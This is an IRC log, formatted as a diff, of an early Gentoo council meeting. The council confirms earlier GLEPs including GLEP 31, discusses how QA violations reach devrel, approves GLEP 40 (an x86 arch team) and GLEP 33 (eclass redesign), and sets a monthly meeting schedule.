@@ -0,0 +1,500 @@
+15:00 <@Koon> ok, let's start
+15:01 -!- mode/#gentoo-council [+m] by Koon
+15:01 -!- ribosome [n=ribosome@dhcp-160-185.rsvs.ulaval.ca] has joined #gentoo-council
+15:01 <@Koon> First item on the agenda is :
+15:01 -!- kallamej [n=kallamej@82.182.101.109] has joined #gentoo-council
+15:01 -!- arachnist [n=arachnis@nat-Exatel.who.vectranet.pl] has joined #gentoo-council
+15:01 -!- ciaranm [n=ciaranm@alpha.total-knowledge.com] has joined #gentoo-council
+15:01 <@Koon> Official confirmation that the council is inline with the already-defined roles of devrel and QA and its commitment to make already-approved GLEPs (including GLEP 31) respected (Clarification of position asked by many people including Ciaran McCreesh, Patrick Lauer and Lance Albertson)
+15:02 -!- AllanonJL|W [n=allanonl@gentoo/developer/allanonjl] has joined #gentoo-council
+15:02 -!- ka0ttic [n=ka0ttic@gentoo/developer/Ka0TTiC] has joined #gentoo-council
+15:02 <@SwifT> euhm... is "yes" sufficient?
+15:02 -!- MadMethod [n=Method@gentoo/developer/Method] has joined #gentoo-council
+15:02 <@vapier> which is to say that everything previous management has put forth is still valid
+15:02 <@seemant> sounds like there are more GLEPs than just 31 that are not being respected?
+15:02 <@Koon> My position is that the current council should be in-line with what is already defined
+15:02 <@SwifT> the devrel-part is always under heavy discussion (still is on the mailinglist
+15:03 -!- dertobi123 [n=tobias@gentoo/developer/dertobi123] has joined #gentoo-council
+15:03 -!- Flameeyes [n=flame@gentoo/developer/Flameeyes] has joined #gentoo-council
+15:03 <@Koon> SwifT: you mean the QA/devrel power setup ?
+15:03 <@SwifT> yes
+15:04 <@agriffis> I think the "commitment to make already-approved GLEPs respected" part is Ciaran's way of asking: What is the Council going to do if people don't respect this stuff?  Is the Council going to take disciplinary action for technical violations?
+15:04 <@Koon> yes, the fact that we accept the current default situation doesn't mean we cannot (or shouldn't) change it
+15:05 <@Koon> my opsition is that QA should work more closely with devrel... but maybe it's just a dream ?
+15:05 <@Koon> position
+15:06 <@SwifT> we aren't going to get all technical violations on our plate will we? that's more for QA
+15:06 <@seemant> which means QA needs to have some "teeth" in order to be effective
+15:06 <@agriffis> SwifT: but the question is: what happens when people violate?  Does QA have any authority?  Does devrel handle discipline for technical violations?
+15:06 <@seemant> sorry, I'm asking
+15:06 <@SwifT> bah, can't people use "common sense"...
+15:07 <@Azarah> my opinion is that we should not split something among bodies .. QA does QA .. if somebody do not listen, depending on how serious it is, they might go to Infra to temporarily put that person on ice, but the complaint should still go through devrel
+15:07 <@SwifT> QA should probably have authority but only if its a large enough team... not 4 or 5 people
+15:07 -!- mpagano [n=mike@70.105.167.3] has joined #gentoo-council
+15:07 <@Azarah> if its not satisfactory how they do it, then that should be fixed
+15:07 -!- slarti [n=tmartin@gentoo/developer/slarti] has joined #gentoo-council
+15:08 <@Koon> the first case of QA direct punishment you'll hear screams of abuse of power
+15:08 <@Azarah> i think somebody said they talked about it on devrel mailing list this last week or so ?
+15:08 <@Koon> I agree with vapier, let just one group be the bad guys
+15:08 <@vapier> and the QA team should not be dealing with that crap
+15:08 -!- wolf31o2-work [n=wolf31o2@gentoo/developer/wolf31o2] has joined #gentoo-council
+15:08 <@SwifT> I thought QA would just pass on the violator to devrel
+15:08 <@vapier> that is what the current process is, yes
+15:08 -!- Betelgeuse [n=betelgeu@gentoo/developer/Betelgeuse] has joined #gentoo-council
+15:08 <@agriffis> Anyway, my point here is not to necessarily answer this question.  My point is to say that this question is loaded.  Depending on the Council's answer, there will be follow-up questions like: "So that implies..."
+15:08 <@Koon> but people think it's too slow/complicated
+15:09 <@agriffis> Koon: huh?
+15:09 -!- dang [n=dang@gentoo/developer/pdpc.active.dang] has joined #gentoo-council
+15:09 <@agriffis> Koon: the only people I've heard say the complaint process is slow/complicated is devrel
+15:09 <@vapier> the only way to find out if the QA violation -> devrel punishment is too slow is to let it be tested
+15:09 <@agriffis> Koon: but I haven't talked to a lot of people personally on that topic
+15:09 <@Koon> agriffis: in the thread I read people said that going through devrel for QA violations takes too much time
+15:09 <@Koon> (memry replacing lost IMAP folders)
+15:10 <@Koon> (memory)
+15:10 <@SwifT> www.gentoo.org/proj/en/qa is quite... empty :/
+15:10 <@agriffis> Koon: oh okay, I might not have seen that message
+15:10 <@Azarah> Koon: who said it? devrel like agriffis noted
+15:10 <@vapier> that's because the qa proj has been working with 2 or 3 people via irc
+15:10 <@SwifT> well, if it sticks with a few people, no official and approved documentation to back it up, QA doesn't have much powers... even with Council standing behind it
+15:10 <@seemant> and basically swegener's been documenting things on his personal site (d.g.o/~him) for the mmoment
+15:11  * agriffis *must* pay attention to a con-call for a few minutes
+15:11 <@seemant> SwifT: it's a bit of a chicken-egg thing -- people don't see QA as being effective and so aren't all eager to pay attention to it, making QA less effective, making people not ....
+15:11 <@seemant> ad nauseum
+15:11 <@Koon> ok, let's focus... I think the only thing we can say atm is that the current procedure is the default "QA should go punish through devrel", but discussion is welcome to think about a change
+15:12 <@seemant> ok first of all can we simplify things a bit?
+15:12 <@Koon> this is not the place to discuss the solution, just to say what current policy is
+15:12 <@Azarah> and the 'change' might be pressed is to improve the resolving procedure if that is an issue ?
+15:12 <@seemant> I don't think that every QA violation is devrel worthy
+15:12 <@Azarah> seemant: i dont think QA will do that
+15:12 <@seemant> surely QA can sort things out with devs themselves -- part of it is -- do we as the council stand by QA to have that minimal authority to bring things to devs' attention?
+15:13 <@vapier> QA team finds violation -> QA educates violater -> violater improves
+15:13 <@Azarah> like vapier pointed out, its usually if there is nothing else they can do to try to keep the person in bounds
+15:13 <@vapier> violator does not improve -> devrel kicks their ass
+15:13 <@seemant> with *repeat* offenders, you have a situation that devrel might be involved, fex ignoring QA
+15:13 <@seemant> at that point, it's cut and dried even in our current policy
+15:14 <@Koon> seemant: authority to bring things to devs attention, of course
+15:14 <@vapier> QA works off of agreed policy.  policy was put forth by developers and validated by council.
+15:14 <@seemant> the fact is, QA can scream all they want -- but if there's no *authority* behind them, devs might be inclined to feel free to ignore QA
+15:14 <@Azarah> and if they do, they get sorted by devrel in theory
+15:15 <@vapier> so they have authority now.  listen to the QA team because they're working of valid policy.  if you dont, devrel will take action.
+15:15 <@seemant> vapier: that's it, yes
+15:15 <@Koon> ok, I think we agree... can we move to the next item ?
+15:15 <@solar> yes
+15:15 <@SwifT> but QA should also take note about QA mistakes, help GDP/devrel improve the affected documentation, keep developers up to date ... not just be the "audit" group (not saying that they aren't doing this already, I just see too much "authority"-discussions here :)
+15:16 <@Koon> let there be a group and we'll see what they want to do in it
+15:16 <@Koon> ok, moving on
+15:16 <@Koon> ferringb asked that we move to item 3 directly and come back to item 2 afterwards
+15:16 <@Koon> so now :
+15:16 <@vapier> err hold, the glep stuff in item 1
+15:16 <@vapier> we all agree that previous management decisions are valid
+15:17 <@Koon> yes
+15:17 <@vapier> aka ciaranm's glep 31 can be put into effect
+15:17 <@Azarah> dont see a problem with it as long as nano is sorted ?
+15:17 <@vapier> makes sense to me
+15:18 <@vapier> yeah, i've been working a little with ciaranm and upstream nano dev
+15:18 <@vapier> havent had a compelling reason to do it until now though ;)
+15:18 <@Koon> ok.
+15:18 <@Azarah> so it should work like vim ? fex not convert utf8 -> ascii ?
+15:18 <@solar> glep31 should repoman or server side cvs handling scripts enforce that?
+15:19 <@vapier> both
+15:19 <@vapier> but that's implementation detail for ciaranm/infra/portage to sort
+15:19 <@seemant> repoman should ideally, but cvs scripts would be nice for a verify/validate
+15:19 <@vapier> yes, 1.3.8 should not mung existing encodings
+15:19 <@agriffis> it doesn't matter to us.  we just decide the policy is good, then portage team, etc is free to enforce it.
+15:19 <@solar> ciaranm says "glep31check can run client or server."
+15:20 <@seemant> vapier: what's an ETA for nano to handle utf8 well enough?
+15:20 <@vapier> policy and implementation are sep ... we care about the first
+15:20 <@seemant> and are the other common editors (emacsen I assume) up to the task already?
+15:21 <@vapier> ciaranm said 1.3.8 handles input better than previous ones, but still has quirks ... i'll have to get him to brain dump on me how to test myself
+15:21 <@SwifT> emacs has utf-8 support (at least the utf.xml guide sais so :)
+15:21 <@vapier> ciaranm has been keeping vim up-to-speed when it breaks down
+15:22 <@seemant> then would it be prudent to wait on enforcing the check until nano can handle it well enough?
+15:22 <@solar> as long as the scripts are run client and or server side the editor part is not so valid it would seem.
+15:22 <@solar> the commit should fail
+15:22 <@seemant> (is the nano-using dev community large enough to warrant the wait?)
+15:22 <@agriffis> yes, the nano-using community makes about 50% of the commits.
+15:22 <@seemant> wow, nice
+15:22 <@agriffis> (vapier)
+15:22 <@vapier> i'll look into that, but i dont think it'll be a significant issue
+15:23 <@seemant> agriffis: LOL
+15:23 <@seemant> then I vote glep31 for ASAP
+15:23  * agriffis is in favor of glep31
+15:23 <@seemant> with my emphasis on the P for apparent technical reasons
+15:24 <@Koon> glep31 is already approved, bt can't hurt to say I support it
+15:24  * vapier humps glep31
+15:24 <@Koon> let me know when we can move on :)
+15:24 <@agriffis> so it's approved, resurrected, and the council says it's live, as soon as there are no nano issues.
+15:24  * SwifT attaches a "I love XML and UTF-8" note on Glep31
+15:24 <@agriffis> Koon: let's move on
+15:24 <@Azarah> think we can move on ;p
+15:24 <@Koon> ok. next
+15:24 <@Koon> glep40: Standardizing "arch" keywording across all archs, Vote asked by Grant Goodyear
+15:25 <@Azarah> this one we gonna decide to let it still cook or not ?
+15:25 <@vapier> i think it's cooked now
+15:25 <@vapier> i expected more stuff after i sent that e-mail
+15:25 <@Koon> my position is that it's ready for prime time
+15:25 <@vapier> since the amd64/x86 unification is not part of it
+15:25 <@Koon> it's not very disruptive, more an officialisation of what's already under way
+15:25 <@Azarah> like i said already, i dont see the alternative happening, and something needs to be done
+15:26 <@vapier> we've had too many growing pains with gcc/glibc on x86
+15:26 <@vapier> an arch team would help that
+15:26 <@vapier> especially when i ask for testers on gentoo-dev, people say it's ok, and then when released shit blows up
+15:26 <@Koon> yes, and the reasons outlined in the GLEP are very valid
+15:26 <@solar> it's still going to be the exact same people. (toolchain@)
+15:26 <@SwifT> did gentoo-dev@ stabilise on the thread? I thought the GLEP itself was quite accepted, just small details about what an AT would be/have
+15:26 <@seemant> as far as I know it, idl, ferringb, tester and a few arch testers have already signed up on an x86 alias (with #-x86 channel in tow)
+15:26  * agriffis chuckles at "robust x86 arch team"
+15:26 <@Azarah> didnt say it was, i said i do not see it will happen (unification), and glep40 is logical thing to do since the dev base seem to be moving more and more from x86
+15:26 <@Koon> AT status is another GLEP
+15:26 <@vapier> this is unrelated to maintainership
+15:27 <@vapier> maintainers dont change
+15:27 <@SwifT> ah ok
+15:27 <@vapier> it's just a matter of the x86 team changes the keyword from ~x86 to x86 once the maintainer of the package says it's cool
+15:28 <@Azarah> yeah, and since glibc-2.3.6 or whatever wont work with gcc-3.3.x, work is cut out for whoever
+15:28 <@seemant> ah, now the "maint" keyword idea from Stuart(?) makes sense on that thread
+15:28 <@Koon> I would rather follow ciaran. maintainer does package.mask -> ~arch and arch teams do ~arch -> arch
+15:29 <@SwifT> sounds logical
+15:29 <@Koon> simple and inline with the ~arch meaning
+15:29 <@seemant> and the process is then: maintainer files stabilisation bug and cc's all KEYWORDS?
+15:29 <@SwifT> (and easy to document :)
+15:29 <@solar> need a much larger team.
+15:29 <@vapier> yes but there are often times when maintainer wants to keep packages in ~arch
+15:29 <@vapier> for specific reasons
+15:29 <@Koon> solar: probably, but that's still a step in the right direction, no ?
+15:29 <@vapier> i have a whole suite of packages i never want to hit stable for example
+15:29 <@SwifT> yes, but then it was said that an overlay should be used...
+15:29 <@seemant> surely there should be some clearance from the maintainer about "Ready for stable" or "please don't ever stable" type things?
+15:30 <@agriffis> I think it varies from package to package.
+15:30 <@vapier> it's common sense ... if you dont have a pressing reason to stable an unstable package and the package has a metadata which indicates a maintainer, talk to the maintainer
+15:30 <@Azarah> and arch to arch
+15:30 <@agriffis> Some packages can be bumped, changed to ~arch, and safely changed to stable in a month.
+15:30 <@agriffis> (with no need for maintainer approval in the process, esp. when there's no real maintainer for a package)
+15:31 <@vapier> right, and metadata.xml should indicate how well a package is watched over
+15:31  * agriffis nods
+15:31 <@agriffis> perhaps there needs to be more info in metadata.xml
+15:31 <@agriffis> that indicates the policy per package.
+15:31 <@Koon> we could even have a "WARN_ME" flag in metadata telling people not to stable without maintainer advice
+15:32 <@agriffis> but then the question comes up: what happens when an arch team violates policy because they disagree with the package maintainer..>?
+15:32 <@Koon> for those exceptions
+15:32 -!- roger55 [n=roger@gentoo/developer/roger55] has joined #gentoo-council
+15:32 <@vapier> "it depends" ?
+15:32 <@agriffis> heh
+15:32 <@Koon> agriffis: the problem is already here, glep doesn't change that
+15:32 <@seemant> ok, so let me understand something -- maintainers are simply not allowed to stable anything under any circumstances?
+15:33 <@agriffis> Koon: true, I'm straying from the glep, sorry
+15:33 <@Azarah> agriffis: in that case either the maintainer will need to sort the package (old or new), or agree to the judgment of arch team if he cannot
+15:33 <@Koon> seemant: they can be part of arch teams :p
+15:33 <@SwifT> seemant: unless they're in the arch team
+15:33 <@seemant> (I'm asking because this is going to be going into policy and guides and quizes and the like -- and I'm even confused)
+15:33 <@SwifT> but then the arch team probably needs to have some agreement when a package is stabilized and when not
+15:33 <@vapier> the idea is you join the arch team you work on
+15:33 <@agriffis> vapier: so every dev is on an arch team?
+15:34 <@Koon> that will help solving the x86 manpower problem
+15:34 <@agriffis> I don't think that's going to go over well.
+15:34 <@seemant> no it's not going to go over very well at all
+15:34 <@agriffis> Koon: no, it just puts us back where we were
+15:34 <@Koon> agriffis: no, but if you want to mark stable you should
+15:34 <+g2boojum> No, you only need to join the arch team if you need to control stabling.
+15:34 <@vapier> ah, there it is
+15:34 <@agriffis> g2boojum: but you need to join to stable the package you maintain, is what I'm hearing.
+15:34 <@agriffis> I'm probably confused by this darned conf call.
+15:35 <@Koon> please focus on the glep text rater than the general problem of marking stable and arch/maintainer wars
+15:35 <+g2boojum> agriffis: If you're happy with the default (~arch means the arch team can stable when they find it acceptable)
+15:35 <@seemant> agriffis: I'm not in the conf. call (or any conf. call) and I read it the same way
+15:35 <@Azarah> the amd64 teams policy for example, is that if a package maintainer is not part of amd64 team, and stable the package without contacting them, he handles all bugs
+15:35 <@Koon> the glep only says x86 is not an exception
+15:36 <@Azarah> true that
+15:36 <@seemant> ok those two sentences together make sense
+15:36 <@Koon> and I agree with it...
+15:36 <@Azarah> well, like i said already, its the logical thing to do with dwindeling x86 dev coverage
+15:36 <@solar> so nobody outside of arch teams will be going from ~arch to arch?
+15:36 <@vapier> i know i've jumped x86 ship
+15:36 <@seemant> I read the following: if I maintain something (and my arch is primarily amd64) I'm willing to stable so long as I handle any and all bugs related to that package + amd64?
+15:36 <@agriffis> okay, I'm fine with the glep in principle, very happy with it actually.  I just want to understand: what happens when a package maintainer wants a package to roll to stable?  either they have to join an arch team to stable it, or they have to file a bug against the arch teams, etc.
+15:36 <@vapier> that's how it is now for all arches but x86
+15:37 <@Azarah> agriffis: yup, like we do with sandbox, etc already
+15:37  * agriffis shrugs
+15:37 <@agriffis> ok, that's fine.  it just seems like you end up with people on arch teams solely for the purpose of marking a single package stable.
+15:37 <@agriffis> that's a little strange.
+15:37 <@seemant> vapier: actually it seems to me you do it for your own arch but have arch teams do it for the rest?
+15:38 <@seemant> in the current scheme I mean
+15:38 <@Azarah> not really, they need to test and plan gcc/glibc/whatever migrations, etc
+15:38 <@vapier> mips, sparc, hppa, and ia64 have their own teams
+15:38 <@Azarah> some things is easy, some not
+15:38 <@vapier> as does amd64
+15:38 <@Koon> ciaranm says that some maintainers have pre-arrangements with arch teams and can mark things stable
+15:38 <@agriffis> and alpha!
+15:38 <@vapier> i do it for my own arches because i'm the only guy (arm/sh/s390) or because i'm on the team (hppa/ia64)
+15:39 <@Azarah> x86 have just been relatively easy in the past, as its the no1 supported arch in the linux world (correct me if im wrong)
+15:39 <@Koon> as long as it's pre-arranged in advance
+15:39 <@vapier> ok
+15:39 <@agriffis> Koon: the only thing I don't like about that is that it is specifically an under-the-table agreement that happens outside of the written policy.
+15:39 <@SwifT> I suppose this pre-arrangement is mostly when the arch team knows the dev follows a good QA (i.e. doesn't circumvent repoman, etc.)
+15:39 <@Koon> of course :)
+15:40 <@agriffis> in other words, it is a vehicle for miscommunication, disagreement, etc.  I'd rather if there were a way to handle that *inside* the policy.
+15:40 <@agriffis> but this is beside the point.
+15:40 <@Koon> yep.
+15:40 <@Koon> moving on.. anyone wants to deny or delay the glep ?
+15:40 <@Azarah> agriffis: i do not see the issue if its something simple with general history of little to no per-arch issues
+15:40 <@vapier> it isnt quite outside of the policy ... GLEP 40 specifically says maintainers can make arangements with x86 team like any other team
+15:40 <@SwifT> surely not
+15:40 <@seemant> I just want clarification on it, Koon
+15:40 <@agriffis> I agree with the GLEP.  There might just be more details to be worked out later as an indirect result.
+15:41 <@agriffis> vapier: oh, thanks
+15:42 <@vapier> so, what do you want clarification on seemant ?
+15:42 <@solar> can we agree with the idea, but wait till we have the resouces to handle it at a later time (like a team in plae).
+15:42 <@Koon> solar: we can vote the glep, doesn't mean it will be in effect tomorrow
+15:42 <@vapier> the idea is that the team is being slowly formed, but it wont gather force until the GLEP is approved
+15:42 <@solar> place. What we have now is far to small to hit the "go" button
+15:42 <@seemant> vapier: the "you need to be on an arch team to stabilise your own package on the arch that you happen to be on primarily" bit
+15:43 <@vapier> seemant: i worded it wrong ... highly suggested you be on the arch team, but you can make arangements with specific arch teams instead
+15:43 <@Azarah> seemant: or get permission from them
+15:43 <@agriffis> ciaranm says that sparc actually keeps a written list of people with whom they have arrangements.
+15:43 <@vapier> yeah, Weeve does
+15:43 <@vapier> that way he knows who to stab first
+15:44 <@Koon> that should solve the "under-the-table" problem
+15:44 <@seemant> may I paste?
+15:44 <@Koon> be my guest
+15:44 <@seemant> it's about 8 lines worth
+15:44 <@seemant> 15:41 <wolf31o2-work> only if I broke something
+15:44 <@seemant> 15:41 <wolf31o2-work> most people won't say anything
+15:44 <@seemant> 15:42 <wolf31o2-work> the idea is to do like is done on other arches... you either #1. say "Hey, I have an x86 box and am willing to field my own bugs on my packages" or #2. join the arch team
+15:44 <@seemant> 15:42 <wolf31o2-work> currently, #1 is implied
+15:44 <@seemant> 15:42 <wolf31o2-work> the idea is to make it explicit
+15:44 <@seemant> is that correct then?
+15:45 <@vapier> pretty much ... bugs are floated between arch teams and maintainer depending on where the issue lies
+15:45 <@seemant> so "pretty much" implies something's missing there
+15:45 <@seemant> what's that something?
+15:45 <@SwifT> not entirely afaik...
+15:45 <@SwifT> I'm more in favor of this arrangement-thing
+15:46 <@vapier> the pretty much is that bugs which arent due to running on a specific arch are [rightfully] given to the maintainer
+15:46 <@seemant> apparently #1 *is* making the arrangement
+15:47 <@Koon> seemant: does that answer your question ?
+15:47 <@seemant> Koon: are these arrangements private or public?
+15:47 <@seemant> how are they documented?
+15:48 <@seemant> if a maintainer with an arrangement goes away, does his/her successor inherit the prior arrangement?
+15:48 <@seemant> etc and so on are things I'm not sure I entirely understand
+15:48 <@Koon> I think it's up to the arch team to store their arrangements list
+15:48 <@seemant> but the principle of "x86 is just another arch, not the grandpappy of them all" is something I fully agree with
+15:49 <@Koon> that's what's in the glep
+15:49 <@seemant> s/grandpappy/one-ring/
+15:49 <@SwifT> so I suppose we can move along, keeping the technical stuff on gentoo-dev@ again (which is open for all devs)
+15:49 <@Koon> we might need some stabilization glep in the future
+15:49 <@seemant> Koon: agreed
+15:50 <@Koon> ok so everyone agrees with glep40, as in "x86 is not a special arch, let there be an x86 team"
+15:50 <@agriffis> seemant: right, I would like to see that
+15:50 <@SwifT> Koon: yes
+15:50 <@solar> yes on #glep40
+15:50 <@vapier> yes
+15:50 <@seemant> yes
+15:50 <@Koon> ok, moving on
+15:50 <@Koon> glep33: Eclass Restructure/Redesign   Vote asked by Brian Harring
+15:51 -!- mode/#gentoo-council [+v ferringb|afk] by Koon
+15:51 <@seemant> oh man, finally this glep is in existence and has some motion
+15:51 <@seemant> my vote is "about time"
+15:51 <@vapier> in case anyone cares, Azarah/agriffis voted yes earlier for glep40
+15:51 <@Koon> yes, and I find the GLEP33 text very detailed and well written
+15:51 <@SwifT> i'm in favor of it as well
+15:51 <@Koon> vapier: who cares :)
+15:52 <@vapier> ferringb knows what i want/need above and beyond GLEP33
+15:52 <@vapier> but GLEP33 is the framework which i'm for
+15:52 <@Koon> OK . anyone else has to say something about it ?
+15:52  * vapier pokes ferringb|afk
+15:52 <@seemant> vapier: can you share?
+15:52 <@Koon> (we might fit the hour, finally)
+15:53 <+ferringb|afk> vapier: specifics you want spilled, or...
+15:53  * ferringb|afk assumes this is in reference to per pkg eclass/elib support
+15:53 <@vapier> right, but that topic need not be covered here
+15:53 <@SwifT> righto... on to the meeting time schedule :)
+15:53 <@vapier> since it can be based off of GLEP33
+15:53 <@Koon> I vote yes to glep33
+15:53 <@solar> no objections
+15:53 -!- g2boojum_ [n=grant@gentoo/developer/g2boojum] has joined #gentoo-council
+15:54 -!- mode/#gentoo-council [+v g2boojum_] by ChanServ
+15:54 <@seemant> vapier: can you share that with us offline then?
+15:54 -!- g2boojum [n=grant@gentoo/developer/g2boojum] has quit ["leaving"]
+15:54 <@vapier> i think i've mentioned in on gentoo-dev before
+15:54 <@seemant> yes to 33
+15:54 -!- g2boojum_ is now known as g2boojum
+15:54 <@Azarah> no issues with glep33
+15:54 <@agriffis> yes to 33
+15:55 -!- hparker [n=hparker@gentoo/developer/hparker] has joined #gentoo-council
+15:55 <@Koon> OK. On to "Discussion of the next meeting date(s)"... the idea being should we have a rule to determine meeting dates or just arrange them manually each time
+15:55 <@SwifT> I would rather have a rule
+15:55 <@agriffis> rule-based
+15:55 <@SwifT> meetings that are announced in less than one week in advance might be dangerous
+15:55 <@seemant> something rule based aka regular
+15:55 <@agriffis> we can always make an exception if some significant number can't make it.
+15:56 <@vapier> right
+15:56 <@vapier> easier to push back a few days
+15:56 <@Azarah> i dont have a problem either way, but most i think already said they want it more anual
+15:56 <@vapier> and if anything it helps people get stuff added to agenda
+15:56 <@Koon> 2nd Thursday of each month, can be pushed back to 3rd ?
+15:56 <@agriffis> works for me
+15:56 <@SwifT> what time? 1900 UTC ?
+15:56 <@Azarah> fine by me if it works for everybody else
+15:57 <@seemant> SwifT: this time honestly suits me very well
+15:57 <@agriffis> are we going to try to figure out something that works for solar?
+15:57 <@agriffis> otherwise he's always going to need a proxy.
+15:57 <@Koon> for the time we should alternate maybe
+15:57 <@seemant> SwifT: but I am flexible to within +/- 2-3 hours
+15:57 <@agriffis> solar: ...but you're here now, I just realized...
+15:57 <@SwifT> nono, 1900UTC is probably the best here as well
+15:57 <@Koon> solar prefers some other time, would be fair to have some meetings at a time he prefers
+15:57 <@Koon> tough I probably can't make it at 2200 :)
+15:58 <@seemant> Koon: I don't mind pushing back to 3rd Thursday of the month -- does that start with next week? :P
+15:58 -!- moreon [n=moreon@gentoo/user/moreon] has joined #gentoo-council
+15:58 <@SwifT> perhaps we can discuss this on the mailinglist when everybody has his calendar right next to him/her :)
+15:58 <@Azarah> i should still be awak (or usually are)
+15:58 <@Azarah> awake*
+15:58 <@vapier> it's on the agenda man
+15:58 <@vapier> so lets start with 3rd Thursday @ 1900UTC
+15:58 <@vapier> and we'll see about floating the time on the list
+15:59 <@Koon> seemant: the 15th of September is already the 3rd, we are late :)
+15:59 <@seemant> Koon: oooohh
+15:59 <@seemant> that's true
+15:59 -!- kito [i=keetz@gentoo/developer/kito] has quit [Client Quit]
+15:59 <@Koon> that's why I said 2nd Thursday that can be pushed back to the 3rd
+15:59 <@vapier> wfm
+15:59 -!- kito [n=kito@gentoo/developer/kito] has joined #gentoo-council
+15:59 <@agriffis> me too
+15:59 <@SwifT> wfm2
+15:59 <@vapier> i'm available *
+15:59 <@Koon> that would put the next one at 13th October
+15:59 <@SwifT> what about solar?
+15:59 <@seemant> yeah 3rd thursds @ 1900 wfm2
+16:00 <@Koon> 3rd or 2nd ?
+16:00 <@Koon> 3rd = 20th October
+16:00 <@SwifT> 2nd or 3rd doesn't matter here
+16:00 <@Koon> then 24th November, 22nd December
+16:00 <@SwifT> stick with the first idea... 2nd, can be pushed back to third
+16:00 <@seemant> solar seems to be occupied afk, so it's probably more sane to fine tune the times on the ml this week
+16:00 <@agriffis> not dec 22
+16:00 <@Koon> that's why I prefer 2nd, that can be pushed back to 3rd in case of emergency
+16:00 <@solar> my time is a bit tricky now.
+16:01 <@Koon> ok.
+16:01 <@vapier> erm, dec22nd is 4th thur
+16:01 <@SwifT> yes... better see if we can find a concensus the upcoming days that fits all
+16:01 <@SwifT> we're with 7, shouldn't be impossible... just hard :)
+16:01 <@Koon> vapier: oops :)
+16:01 <@vapier> `cal` is teh bomb
+16:01 <@SwifT> I'd rather not have a meeting time that's too difficult for one or two...
+16:01 <@agriffis> solar: what works for you?
+16:01 <@agriffis> solar: I think we're all speculating without knowing what you can do.
+16:02 <@Koon> guess we can finish the discussion off-meeting
+16:02  * agriffis nods
+16:02 <@seemant> I gotta run people, but I'm staying online
+16:02 <@seemant> thanks for a great first meeting
+16:02 <@agriffis> good first meeting, guys
+16:02 <@Koon> we'll open for Q&A
+16:02 <@vapier> well lets go with 2nd thur pushing back to 3rd @ 1900UTC
+16:02 <@vapier> tentative
+16:02 <@vapier> bam
+16:02 <@seemant> and thanks for bearing with me with my questions
+16:02 <@SwifT> :)
+16:02 <@seemant> feel free to diss me while I'm gone
+16:02 -!- mode/#gentoo-council [-m] by Koon
+16:03 < ChrisWhite> Koon: snip it here?
+16:03 <@seemant> brb in 15
+16:03 <@Azarah> later seemant
+16:03 <@Koon> Does anyone has questions ?
+16:03 <@Koon> ChrisWhite: Q&A session is stil part of the meeting :)
+16:03 <@Koon> unless no questions...
+16:03 < ChrisWhite> pfft, fine! ;p
+16:03 -!- vapier changed the topic of #gentoo-council to: You missed the meeting earlier at 1900UTC (1500EST) | Agenda covered: http://article.gmane.org/gmane.linux.gentoo.devel/31498 | seemant has a van full of candy for you, look out
+16:03 <+ferringb|afk> Koon: noting y'all probably should track who shows in some fashion since there is the "with slacker boot" portion of council proposal...
+16:03 -!- smithj [n=smithy@gentoo/developer/smithj] has joined #gentoo-council
+16:04 <@solar> you sched anytime and I'll do my best to make it.
+16:04 <@Koon> ferringb|afk: yes, but today everyone was there :)
+16:04 -!- smithj [n=smithy@gentoo/developer/smithj] has left #gentoo-council []
+16:04 <@Koon> ferringb|afk: we'll probably make some council pages on /proj somewhere
+16:04 <+ferringb|afk> Koon: yah, I'm saying record it so that it's not up in the air a year down the line come election time (yes I'm cynical) :)
+16:04 <@vapier> Koon: i was going to look into getting the existing docs updated tonight with that list you posted (quiz/docs/etc...)
+16:05 <@agriffis> ferringb|afk: I agree with you
+16:05 <@Koon> vapier: ok. we still have to fix the projects list too... btw :
+16:05 <@agriffis> ChrisWhite: put the attendees on the top of the meeting log, eh?
+16:05 <@solar> I have to go now. If anybody has anything for me I can be reached via email@
+16:05 <@vapier> agriffis: you logged it right ?  we can just store it in cvs
+16:05 <@vapier> proj/council/meeting-logs/
+16:06 < ChrisWhite> agriffis: I'll post when you're ready and filter it later
+16:06 <@agriffis> ok, I'll put it there
+16:06 -!- MetalGOD [n=DevNull@gentoo/developer/MetalGOD] has left #gentoo-council ["Leaving"]
+16:06 <@vapier> datestamp it like a good boy
+16:06 <@agriffis> ChrisWhite: no need, I logged it too.  I'll just put it in the council cvs
+16:06  * vapier pats agriffis on the bum
+16:06 <@Koon> vapier: we'll have to discuss how subprojects of the "base" TLP should be promoted as full-fledged projects
+16:06 < ChrisWhite> agriffis: no emailed version ?
+16:06 <@vapier> you still logging ?
+16:06 <@vapier> e-mail the URL :P
+16:06 <@Koon> like arch projects, or embedded
+16:06 <@agriffis> ChrisWhite: no, let's skip filling people's mailboxes
+16:06 <@agriffis> ChrisWhite: I'll do as vapier said, email a link
+16:07 < ChrisWhite> ok, my logs are closed then
+16:07 < ChrisWhite> I'll use it locally for a [Summary] thread :P
+16:07 <@Koon> vapier: also kill the gentoo.xml contents and turn it into an open project directory
+16:07 <+g2boojum> Koon: I'm assuming that it's as simple as people moving the project pages out of proj/en/foo to proj/en.  *Grin*
+16:07 <@vapier> Koon: we're pretty happy with the current state of things
+16:07 <@Koon> g2boojum: you're assuming bad
+16:08 <@vapier> (embedded project that is)
+16:08 <@Koon> g2boojum: quite a few projects have been created and don't appear
+16:08 <@vapier> very little management, whole lot of coding
+16:08 -!- spb- is now known as spb__
+16:08 <@Koon> g2boojum: because what appears is governed by a page rather tha by /proj contents
+16:08 <+g2boojum> Koon: Oh, you're referrring to the actual project-listing page.  Sorry, I missed that part.
+16:09 <@Koon> g2boojum: we just need to fix that page and warn people to edit it if they want their project to appear
+16:09 < ChrisWhite> so 1) Confirmed council roles 2) yes on glep 40 3) yes on glep 33 4) 2nd or 3rd thursday of the month 1900 UTC
+16:09 <@Koon> ChrisWhite: yes
+16:09 <+g2boojum> Koon: Smack pauldv, or ask SwifT's team for help, because that page is supposed to be autogenerated.
+16:10 <+ferringb|afk> offhand... how up to date is the tlp listings?
+16:10 < ChrisWhite> well that was easy :P
+16:10 <@Koon> ferringb|afk: it's outdated -- but there is no such things as TLPs anymore
+16:10 < ChrisWhite> Koon: want me to write up a summary like that and put the sucker on -dev?
+16:10 <+ferringb|afk> Koon: projects, moreso I realize.
+16:11 <@agriffis> ChrisWhite: probably better for something like that to come from a council member
+16:11 <@Koon> ChrisWhite: about "1)", it's more a confirmation that we confirm old GLEPs rather than council role
+16:11 < ChrisWhite> agriffis: ok
+16:11 <+ferringb|afk> Koon: what I'm getting at is that I don't think I've seen any proposal/discussion about conversion of existing projects over to rules of glep39, specifically the election portion of it
+16:11 <@agriffis> so having said that, I'll write it.
